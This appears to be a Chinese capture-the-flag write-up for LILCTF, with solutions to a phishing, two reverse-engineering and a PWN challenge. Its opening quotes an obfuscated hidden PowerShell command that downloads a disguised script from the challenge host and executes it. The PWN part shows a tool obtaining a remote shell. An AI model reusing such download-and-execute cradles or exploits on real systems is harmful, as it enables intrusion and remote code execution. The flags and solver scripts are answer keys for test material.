1 iexStart-Process "$env :SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w' ,'h' ,'-ep' ,'Unrestricted' ,'-Command' ,"Set-Variable 3 'http://challenge.xinshi.fun:43557/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext .InvokeCommand.((`$ExecutionContext .InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext .InvokeCommand.((`$ExecutionContext .InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))" ;
指向/bestudding.jpg
1 curl -o bestudding.jpg http://challenge.xinshi.fun:43557/bestudding.jpg
curl下载后,用010查看,发现是混淆的powershell代码
用下面工具反混淆可发现里面有flag
1 2 3 4 5 6 7 8 9 10 11 12 13 _____ ______ _ | ___ \ | _ \ | | | |_/ /____ _____ _ __| | | |___ ___ ___ __| | ___ | __/ _ \ \ /\ / / _ \ '__| | | / _ \/ __/ _ \ / _` |/ _ \ | | | (_) \ V V / __/ | | |/ / __/ (_| (_) | (_| | __/ \_| \___/ \_/\_/ \___|_| |___/ \___|\___\___/ \__,_|\___| PowerShell Script Decoder Script loaded from file E:\Users\20497Downloads\weblil\bestudding.jpg (sha256: 55C4CBD6B976E8B0B7B6E647472525D2B52778F4BEA25C511DDA37D9DDB297AA ) 省略...... $fF1IA49G = "LILCTF{63_vlGII@NT_a6A1n$T_Ph1shiNg}"
LILCTF{63_vlGII@NT_a6A1n$T_Ph1shiNg}
Qt_Creator
好像不安装直接解压可能也可以,demo_code_editor.exe用IDA_32位分析,字符串看到有login,这和输入注册码界面不谋而合,交叉引用到**int __thiscall sub_40EE30(_DWORD *this, int a2)**
发现下面这些字符
1 2 3 4 5 6 7 this [7 ] = ZN7QString16fromAscii_helperEPKci ("KJKDS" , 5 );this [8 ] = ZN7QString16fromAscii_helperEPKci ("GzR6`" , 5 );this [9 ] = ZN7QString16fromAscii_helperEPKci ("bsd5s" , 5 );this [10 ] = ZN7QString16fromAscii_helperEPKci ("1q`0t" , 5 );this [11 ] = ZN7QString16fromAscii_helperEPKci ("^wdsx" , 5 );this [12 ] = ZN7QString16fromAscii_helperEPKci ("`b1mw" , 5 );v3 = ZN7QString16fromAscii_helperEPKci ("2oh4mu|" , 7 );
即
1 KJKDSGzR6`bsd5s1q`0 t^wdsx`b1mw2oh4mu|
给反汇编代码给GPT,它写了个爆破解密的代码,那我们不如干脆用随波逐流工具
发现有凯撒Caesar解码:
1 mode2 #1 : LKLETH{S7acte6t2ra1u_xetyac2nx3pi5nv}
很像flag
后来结合flag格式LILCTF{}给AI分析,选择明文攻击,基本上就出来了
即如下变换
1 2 3 s="LKLETH{S7acte6t2ra1u_xetyac2nx3pi5nv}" t="" .join(chr (ord (c)-2 ) if (i%2 ==0 ) else c for i,c in enumerate (s,1 )) print (t)
LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}
ARM ASM
拿到附件是一个apk文件,用模拟器打开先看看大概逻辑,发现就是一个比较,输入的就是flag
将apk解包后,用jadx分析每一个类文件,拖入class3.dex,发现了flag比较的地方
当输入一个字符串后会进入check函数的转换再与“KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S”进行比较。所以主要的加密逻辑在于check函数
找到 lib/arm64-v8a/libez_asm_hahaha.so,用 Ghidra / IDA 打开 ,找符号名:Java_work_pangbai_ez_1asm_1hahaha_MainActivity_check
分析代码, 就是对输入的字符串做了三步处理,然后 Base64 加密输出。
输入检查
查表 + 异或
每 3 个字节一组位移
Base64 加密(非标准表)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 __int64 __fastcall Java_work_pangbai_ez_1asm_1hahaha_MainActivity_check (_JNIEnv *a1, __int64 a2, __int64 a3) { size_t v3; const char *p_n2; int8x16_t v5; int v6; int n47; int n2; int8x16_t t; char *v11; __int64 v13; const char *StringUTFChars; char n2_1; char *v16; char v17; __int64 v18; v18 = *(_QWORD *)(_ReadStatusReg(TPIDR_EL0) + 40 ); v17 = 0 ; StringUTFChars = (const char *)_JNIEnv::GetStringUTFChars(a1, a3, &v17); v3 = __strlen_chk(StringUTFChars, 0xFFFFFFFFFFFFFFFFL L); v11 = (char *)malloc (v3 + 1 ); __strcpy_chk(v11, StringUTFChars, -1 ); if ( __strlen_chk(v11, 0xFFFFFFFFFFFFFFFFL L) == 48 ) { t = (int8x16_t )::t; for ( n2 = 0 ; n2 <= 2 ; ++n2 ) { *(int8x16_t *)&v11[16 * n2] = veorq_s8(vqtbl1q_s8(*(int8x16_t *)&v11[16 * n2], t), t); n2_1 = n2; p_n2 = &n2_1; v5 = vld1q_dup_s8(p_n2); t = veorq_s8(t, v5); __android_log_print(6 , "========= Error ========= " , "%s" , v11); } __android_log_print(6 , "========= Error ========= " , "%s" , v11); for ( n47 = 0 ; n47 <= 47 ; n47 += 3 ) { v11[n47] = ((unsigned __int8)v11[n47] >> 5 ) | (8 * v11[n47]); v11[n47 + 1 ] = ((unsigned __int8)v11[n47 + 1 ] >> 1 ) | (v11[n47 + 1 ] << 7 ); v11[n47 + 2 ] = v11[n47 + 2 ]; } v6 = __strlen_chk(v11, 0xFFFFFFFFFFFFFFFFL L); encodeBase64(v11, v6, &v16); __android_log_print(6 , "========= Error ========= " , "%s" , v11); v13 = _JNIEnv::NewStringUTF(a1, v16); } else { v13 = _JNIEnv::NewString(a1, word_86B, 3 ); } _ReadStatusReg(TPIDR_EL0); return v13; }
encodeBase64是换表后的base64加密,换的表为
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/
找到t的值后
分析完毕将主要逻辑给ai,逆出解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/" t0 = [0x0D , 0x0E , 0x0F , 0x0C , 0x0B , 0x0A , 0x09 , 0x08 , 0x06 , 0x07 , 0x05 , 0x04 , 0x02 , 0x03 , 0x01 , 0x00 ] def custom_b64decode (s ): table_map = {c: i for i, c in enumerate (table)} bits = "" for ch in s: val = table_map[ch] bits += f"{val:06b} " data = [] for i in range (0 , len (bits), 8 ): byte = bits[i:i+8 ] if len (byte) == 8 : data.append(int (byte, 2 )) return bytearray (data) def rol (val, r ): return ((val << r) & 0xFF ) | (val >> (8 - r)) def inverse_tbl (v, tbl ): out = [0 ] * 16 for i, idx in enumerate (tbl): out[idx] = v[i] return bytearray (out) def gen_t_list (): t_list = [] t_tmp = t0[:] for n2 in range (0 , 3 ): t_list.append(t_tmp[:]) t_tmp = [x ^ n2 for x in t_tmp] return t_list def decrypt_flag (b64_str ): data = custom_b64decode(b64_str) if len (data) != 48 : raise ValueError("解码长度不为48字节,可能输入有误" ) for i in range (0 , len (data), 3 ): data[i] = rol(data[i], 5 ) data[i+1 ] = rol(data[i+1 ], 1 ) t_list = gen_t_list() for n2 in reversed (range (0 , 3 )): block = data[16 *n2:16 *(n2+1 )] tbl = t_list[n2] block = bytearray ([b ^ t for b, t in zip (block, tbl)]) block = inverse_tbl(block, tbl) data[16 *n2:16 *(n2+1 )] = block return data.decode() if __name__ == "__main__" : b64_input = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S" flag = decrypt_flag(b64_input) print ("Flag:" , flag)
LILCTF{ez_arm_asm_meow_meow_meow_meow_meow_meow}
PWN
签到
先用pwnpasi工具试试
1 2 (base) ┌──(kali㉿LAPTOP-PKCNLOTE)-[~/pwndir/pwnpasi] └─$ python pwnpasi.py -l pwn -libc libc.so.6 -ip challenge.xinshi.fun -p 44754
1 2 3 4 5 6 7 8 9 10 11 12 13 14 [*]Address of puts in libc: 0x7f9d71456e50 [*]Address of system in libc: 0x7f9d71426d70 [*]Address of "/bin/sh" string in libc: 0x7f9d715ae678 [*]PWN!!! [*] Switching to interactive mode $ ls bin dev flag lib lib64 vuln $ cat flag LILCTF{8154842a-90de-4dba-af9e-0dd61f054703}[*] Got EOF while reading in interactive
LILCTF{8154842a-90de-4dba-af9e-0dd61f054703}